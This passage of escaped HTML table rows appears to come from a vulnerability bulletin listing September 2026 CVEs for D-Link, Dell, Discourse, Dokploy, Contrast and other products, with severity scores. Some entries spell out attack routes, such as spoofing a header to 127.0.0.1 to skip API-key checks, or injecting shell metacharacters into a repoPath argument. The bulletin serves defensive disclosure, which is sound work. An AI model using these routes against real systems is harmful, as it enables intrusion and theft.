&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-LINK--DAP-1360&lt;/td&gt;
&lt;td&gt;D-Link DAP-1360 firmware version 6.14 and earlier contains an unauthenticated remote code execution vulnerability that allows remote attackers to execute arbitrary commands as root by sending crafted requests to the device&#039;s web management interface without valid credentials. Attackers can fully compromise the device to persistently modify its configuration and use it as a pivot point into the local network.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95675&quot; target=&quot;_blank&quot;&gt;CVE-2026-95675&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-825&lt;/td&gt;
&lt;td&gt;A vulnerability was identified in D-Link DIR-825 3.00b32. Affected is the function tunnel_set_params of the file tunnel.c of the component rp-l2tp. The manipulation of the argument peer_hostname&amp;nbsp; leads to out-of-bounds write. The attack may be initiated remotely.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-96891&quot; target=&quot;_blank&quot;&gt;CVE-2026-96891&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-Link--DIR-895L&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in D-Link DIR-895L A1_102b07. Impacted is the function tunnel_set_params of the file tunnel.c of the component L2TP Control Channel Parser. Performing a manipulation results in out-of-bounds write. The attack may be initiated remotely. The exploit is now public and may be used.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100740&quot; target=&quot;_blank&quot;&gt;CVE-2026-100740&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dani-garcia--vaultwarden&lt;/td&gt;
&lt;td&gt;Vaultwarden through 1.37.3 omits organization membership status validation from three cipher access-restriction queries, allowing revoked and not-yet-confirmed members to retain read, write, delete, and attachment access to organization ciphers. Attackers with revoked or pending membership can exploit missing status filters in get_user_collections_access_flags, get_group_collections_access_flags, and is_in_full_access_group to access protected cipher data server-side.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95814&quot; target=&quot;_blank&quot;&gt;CVE-2026-95814&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dassault Systmes--Tuleap Enterprise Edition&lt;/td&gt;
&lt;td&gt;An OS Command Injection vulnerability affecting Tuleap Enterprise Edition from 17.3 through 17.5 could allow an attacker to execute arbitrary commands on the server.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84285&quot; target=&quot;_blank&quot;&gt;CVE-2026-84285&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;David-Crty--Databasement&lt;/td&gt;
&lt;td&gt;Databasement before 1.7.14 validates invitation tokens only when the acceptance page loads, caching the authorization decision without re-checking token validity during acceptance. Attackers with a leaked or forwarded invitation link can load the page while pending, then accept the invitation after the legitimate user has already accepted it to overwrite the account password and gain authenticated access to managed database credentials and secrets.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95654&quot; target=&quot;_blank&quot;&gt;CVE-2026-95654&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;decolua--9router&lt;/td&gt;
&lt;td&gt;9Router is an AI router &amp;amp; token saver. Prior to 0.5.6, 9Router deployments that allow requests to reach Next.js without the sanitizing custom-server.js wrapper trust the client-supplied X-9r-Real-Ip header in src/dashboardGuard.js when isLocalRequest decides whether canAccessPublicLlmApi may skip API-key validation for /api/v1/* routes. A remote unauthenticated attacker can set X-9r-Real-Ip to 127.0.0.1 and be classified as a local client, including on the verified GET /api/v1/models route. This permits unauthorized use of the instance owner&#039;s configured LLM providers, consumption of paid credits, and enumeration of configured providers and models. This issue is fixed in version 0.5.6.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56681&quot; target=&quot;_blank&quot;&gt;CVE-2026-56681&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;deepstreamIO--deepstream.io&lt;/td&gt;
&lt;td&gt;deepstream is a server that allows clients and backend services to sync data, send messages and make rpcs at scale. From 10.1.0 until 10.1.1, src/services/permission/valve/rules-map.ts omits RECORD_ACTION.PATCH_MULTI from RULES_MAP. When an authenticated user sends a PATCH_MULTI record operation while permission.type is config, getRulesForMessage returns a null rule specification and ConfigPermission.canPerformAction treats the missing specification as an unconditional allow instead of applying RULE_TYPES.WRITE. Any authenticated user can therefore modify arbitrary protected records, corrupt application state, or cause service disruption; deployments using the default permission type none already allow all operations and are not additionally affected. This issue is fixed in version 10.1.1.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-63116&quot; target=&quot;_blank&quot;&gt;CVE-2026-63116&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Command Powershell Provider (DCPP)&lt;/td&gt;
&lt;td&gt;Dell Command Powershell Provider (DCPP), versions prior to 2.10.2 contain an Insertion of Sensitive Information into Log File vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information Disclosure.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49810&quot; target=&quot;_blank&quot;&gt;CVE-2026-49810&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Command | Monitor (DCM)&lt;/td&gt;
&lt;td&gt;Dell Command | Monitor (DCM), versions prior to 10.13.2, contain an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-49811&quot; target=&quot;_blank&quot;&gt;CVE-2026-49811&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Inventory Collector Client&lt;/td&gt;
&lt;td&gt;Dell Inventory Collector Client, versions prior to 15.0.0, contain an Unquoted Search Path or Element vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Code execution and Elevation of Privileges&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81469&quot; target=&quot;_blank&quot;&gt;CVE-2026-81469&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Rugged Control Center (RCC)&lt;/td&gt;
&lt;td&gt;Dell Rugged Control Center (RCC), versions prior to 5.2.206, contain an Improper Authorization vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Elevation of Privileges.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81473&quot; target=&quot;_blank&quot;&gt;CVE-2026-81473&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) Policy Manager&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73588&quot; target=&quot;_blank&quot;&gt;CVE-2026-73588&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Secure Connect Gateway (SCG) Policy Manager&lt;/td&gt;
&lt;td&gt;Dell Secure Connect Gateway (SCG) Policy Manager, versions prior to 5.34.00.16, contains an Inclusion of Sensitive Information in Source Code vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Information exposure.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;7.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73591&quot; target=&quot;_blank&quot;&gt;CVE-2026-73591&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to SecurityAddon_2605.10.2766_T10, contain a Missing Authentication for Critical Function vulnerability. An unauthenticated attacker with remote access could potentially exploit this vulnerability, leading to Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81455&quot; target=&quot;_blank&quot;&gt;CVE-2026-81455&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--ThinOS 10&lt;/td&gt;
&lt;td&gt;Dell ThinOS 10, versions prior to SecurityAddon_2605.10.2766_T10, contains an Improper Certificate Validation vulnerability. An unauthenticated attacker with adjacent network access could potentially exploit this vulnerability, leading to Protection mechanism bypass and Unauthorized access.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82157&quot; target=&quot;_blank&quot;&gt;CVE-2026-82157&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dell--Trusted Device Client,&lt;/td&gt;
&lt;td&gt;Dell Trusted Device Client, versions prior to 8.1.359.0, contain an Incorrect Permission Assignment for Critical Resource vulnerability. A low privileged attacker with local access could potentially exploit this vulnerability, leading to Information tampering.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82164&quot; target=&quot;_blank&quot;&gt;CVE-2026-82164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Deltaww--DIAEnergie&lt;/td&gt;
&lt;td&gt;Improper Authentication vulnerability in DIAEnergie allows Authentication Bypass. This issue affects DIAEnergie: before 1.11.00.022.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78308&quot; target=&quot;_blank&quot;&gt;CVE-2026-78308&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Deltaww--DIAEnergie&lt;/td&gt;
&lt;td&gt;Path Traversal in DIAEnergie. This issue affects DIAEnergie: before 1.11.00.022.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78312&quot; target=&quot;_blank&quot;&gt;CVE-2026-78312&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Deltaww--DIAEnergie&lt;/td&gt;
&lt;td&gt;SQL Injection vulnerability in DIAEnergie. This issue affects DIAEnergie: before 1.11.00.022.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78309&quot; target=&quot;_blank&quot;&gt;CVE-2026-78309&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Deltaww--DIAEnergie&lt;/td&gt;
&lt;td&gt;SQL Injection vulnerability in DIAEnergie. This issue affects DIAEnergie: before 1.11.00.022.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78311&quot; target=&quot;_blank&quot;&gt;CVE-2026-78311&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;denisidoro--navi&lt;/td&gt;
&lt;td&gt;navi through 2.24.0 fails to properly escape cheatsheet variable values when substituting them into shell commands. Attackers can inject shell metacharacters through crafted file names in suggestion command directories to execute arbitrary commands with victim privileges.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-101032&quot; target=&quot;_blank&quot;&gt;CVE-2026-101032&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DevItems--HashBar WordPress Notification Bar&lt;/td&gt;
&lt;td&gt;Improper Neutralization of Special Elements used in an SQL Command (&#039;SQL Injection&#039;) vulnerability in DevItems HashBar - WordPress Notification Bar allows Blind SQL Injection. This issue affects HashBar - WordPress Notification Bar: from n/a through 2.0.3.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94117&quot; target=&quot;_blank&quot;&gt;CVE-2026-94117&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dgtlmoon--changedetection.io&lt;/td&gt;
&lt;td&gt;A vulnerability has been found in dgtlmoon changedetection.io up to 0.60.7. The impacted element is the function check_authentication of the file changedetectionio/flask_app.py of the component Authentication Hook. Such manipulation leads to improper authentication. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95271&quot; target=&quot;_blank&quot;&gt;CVE-2026-95271&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dgtlmoon--changedetection.io&lt;/td&gt;
&lt;td&gt;A vulnerability was found in dgtlmoon changedetection.io up to 50389b07. This vulnerability affects the function add_watch_ui_snapshot of the file changedetectionio/blueprint/add_watch_ui/__init__.py of the component Preview Endpoint. Performing a manipulation of the argument url results in server-side request forgery. The attack can be initiated remotely. The exploit has been made public and could be used. Upgrading to version 0.60.1 is able to resolve this issue. The patch is named 71d332d5a0d3da2a0fe89a392413bf4b7d27c84e. The affected component should be upgraded. Was fixed upstream.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-95656&quot; target=&quot;_blank&quot;&gt;CVE-2026-95656&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, the video placeholder component allowed crafted HTML to cause an attribute breakout and inject an attacker-controlled event handler. An authenticated user with default trust-level posting privileges could store the crafted placeholder in a post. When another user opened the post and clicked the video play overlay, the handler could execute arbitrary JavaScript in the viewer&#039;s session. Default Content Security Policy settings block inline event handlers, but instances with CSP disabled or relaxed could allow the script to read page content and make authenticated requests as the viewer. This issue is fixed in versions 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91122&quot; target=&quot;_blank&quot;&gt;CVE-2026-91122&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;discourse--discourse&lt;/td&gt;
&lt;td&gt;Discourse is an open-source discussion platform. Prior to 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0, the iframe src traversal guard did not treat literal backslashes as path separators after decoded dot segments. A crafted source could therefore pass an allowed_iframes subpath check while browser URL normalization moved the iframe outside the intended allowed path. The resulting iframe could load content from a location that the administrator did not allow. This issue is fixed in versions 2026.1.8, 2026.6.3, 2026.7.2, and 2026.8.0.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91123&quot; target=&quot;_blank&quot;&gt;CVE-2026-91123&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;docmost--docmost&lt;/td&gt;
&lt;td&gt;Docmost is open-source collaborative wiki and documentation software. Prior to 0.80.1, authenticated users can store attacker-controlled avatarUrl values that are later reused by avatar cleanup without confinement to the intended directory on local-storage deployments. A low-privileged user can cause deletion of arbitrary local files or directories reachable by the Docmost service account. This issue is fixed in version 0.80.1.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-48070&quot; target=&quot;_blank&quot;&gt;CVE-2026-48070&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dokploy--dokploy&lt;/td&gt;
&lt;td&gt;Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, Dokploy organization members without Git provider access can retrieve plaintext provider credentials through github.one, gitlab.one, gitea.one, and bitbucket.one because those protected procedures return full provider rows without applying getAccessibleGitProviderIds or an organization check. The application.one route also returns nested GitHub, GitLab, Gitea, and Bitbucket relations from findApplicationById with GitHub App private keys, OAuth tokens, client secrets, webhook secrets, and app passwords even when hasGitProviderAccess is false. A member with application read access or a provider identifier can therefore bypass per-member provider assignment and use the exposed credentials to access private repositories or manipulate external workflows. This issue is fixed in version 0.29.13.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86059&quot; target=&quot;_blank&quot;&gt;CVE-2026-86059&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Dokploy--dokploy&lt;/td&gt;
&lt;td&gt;Dokploy is a free, self-hostable Platform as a Service (PaaS). Prior to 0.29.13, the patch.readRepoDirectories tRPC procedure passes the user-controlled repoPath value from apps/dokploy/server/api/routers/patch.ts into a shell command in packages/server/src/services/patch-repo.ts without safe argument quoting. An authenticated organization member with service:read permission can inject shell metacharacters into repoPath and execute arbitrary commands through child_process.exec as root in the Dokploy container. The supplied service identifier is used only to resolve the server and does not constrain repoPath. Because the standard deployment mounts /var/run/docker.sock, container-root command execution can be used to control Docker and compromise the host and its managed applications. This issue is fixed in version 0.29.13.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;9.9&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93425&quot; target=&quot;_blank&quot;&gt;CVE-2026-93425&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;drogonframework--drogon&lt;/td&gt;
&lt;td&gt;A vulnerability was detected in drogonframework drogon up to 1.9.13. Affected by this issue is the function Mapper::orderBy in the library Mapper.h of the component ORM Mapper. Performing a manipulation of the argument sort results in sql injection. The attack is possible to be carried out remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94143&quot; target=&quot;_blank&quot;&gt;CVE-2026-94143&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;drogonframework--drogon&lt;/td&gt;
&lt;td&gt;A flaw has been found in drogonframework drogon up to 1.9.13. This affects the function makeCriteria in the library orm_lib/src/Criteria.cc of the component ORM. Executing a manipulation of the argument filter can lead to sql injection. The attack may be performed from remote. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94144&quot; target=&quot;_blank&quot;&gt;CVE-2026-94144&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--lamp-cloud&lt;/td&gt;
&lt;td&gt;lamp-cloud through 5.10.0 fails to validate user identity in PUT /anyone/baseInfo and PUT /anyone/avatar endpoints, allowing authenticated attackers to modify arbitrary user profiles. Attackers can supply target user IDs in request bodies to rewrite profile fields including nickname, ID card, sex, nation, education, work description, and avatar attachments of other users.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94534&quot; target=&quot;_blank&quot;&gt;CVE-2026-94534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;dromara--lamp-cloud&lt;/td&gt;
&lt;td&gt;lamp-cloud through 5.10.0 contains an authorization bypass vulnerability in the deleteMyNotice endpoint that allows authenticated users to delete other users&#039; notifications. Attackers can call the DELETE /anyone/extendNotice/deleteMyNotice endpoint with arbitrary notice IDs to permanently remove notifications belonging to other users without recipient validation.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;7.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-94535&quot; target=&quot;_blank&quot;&gt;CVE-2026-94535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast (edgelesssys/contrast) versions 1.14.0 before 1.23.1 generate runtime policies that fail to detect all container image substitutions. A bad rebase during a Kata Containers update accidentally introduced an `allow_storage` rule that accepts storage entries using the `image_guest_pull` driver without verifying the image digest. An attacker with access to the Kata agent API - for example, a Kubernetes cluster administrator in Contrast&#039;s threat model - can therefore substitute a container image with an exploit payload, provided the substituted image satisfies the remaining policy rules, undermining the confidential container&#039;s integrity guarantees.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100833&quot; target=&quot;_blank&quot;&gt;CVE-2026-100833&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast is a confidential-computing runtime for Kubernetes. In versions before 1.19.1, the Kata agent policies generated by the Contrast CLI contained a flaw in the CopyFile verification that allowed arbitrary writes to the guest root filesystem. A malicious process on the untrusted host able to connect to the Kata agent VSOCK could issue a series of CopyFile requests to overwrite security-critical files in the guest or trick the workload into disclosing sensitive data, effectively amounting to a full guest takeover. Users unable to upgrade can apply an equivalent rego policy fix passed to &#039;contrast generate --policy&#039;.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100838&quot; target=&quot;_blank&quot;&gt;CVE-2026-100838&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast is a confidential-computing runtime for Kubernetes. In versions before 1.18.0, the guest kernel&#039;s ACPI/AML handling is vulnerable to an AML injection attack (&quot;BadAML&quot;). ACPI tables containing AML bytecode are passed from the untrusted host (QEMU) to the guest firmware (OVMF) and on to the Linux kernel, whose AML interpreter executes them. An attacker controlling the host - an assumed adversary in Contrast&#039;s threat model - can craft a table with malicious, Turing-complete AML bytecode that the guest kernel interprets with access to the full guest memory, including private pages, resulting in arbitrary code execution and disclosure or modification of confidential guest data. The issue affects the AMD SEV-SNP platforms Metal-QEMU-SNP and Metal-QEMU-SNP-GPU; Metal-QEMU-TDX is not affected because ACPI table contents are measured into RTMR 0 by OVMF on Intel TDX. Version v1.18.0 mitigates the attack by sandboxing the kernel AML interpreter so that it cannot read or write private memory pages. This weakness is not specific to Contrast but is generic to Confidential Computing setups that expose the ACPI interface to the host.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-100839&quot; target=&quot;_blank&quot;&gt;CVE-2026-100839&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Edgelesssys Contrast is a confidential-computing runtime for Kubernetes. In versions 1.9.0 before 1.12.2, the initializer logs the full NewMeshCert response - which contains the workload secret - to standard output at INFO level. As a result, workload secrets are exposed to any Kubernetes user with get or list permission on pods/logs. Because workload secrets are used for encrypted storage and Vault integration, those must also be considered compromised. This is a regression of GHSA-h5f8-crrq-4pw8.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-71423&quot; target=&quot;_blank&quot;&gt;CVE-2025-71423&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;edgelesssys--contrast&lt;/td&gt;
&lt;td&gt;Contrast (Edgeless Systems) before 1.8.1 logs the workload secret to stderr, and thus to Kubernetes logs, when the Contrast initializer is configured with CONTRAST_LOG_LEVEL set to info or debug. Because info is the default, all installations that do not customize the initializer log level are affected. This exposes workload secrets - normally accessible only to the Contrast Coordinator, the initializer, the seedshare owner, and the workload owner - to Kubernetes users with get or list permission on pods/logs and to anyone with read access to the Kubernetes log storage, such as the cloud provider. Deployments that do not use workload secrets are unaffected.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;7.3&lt;/td&gt;
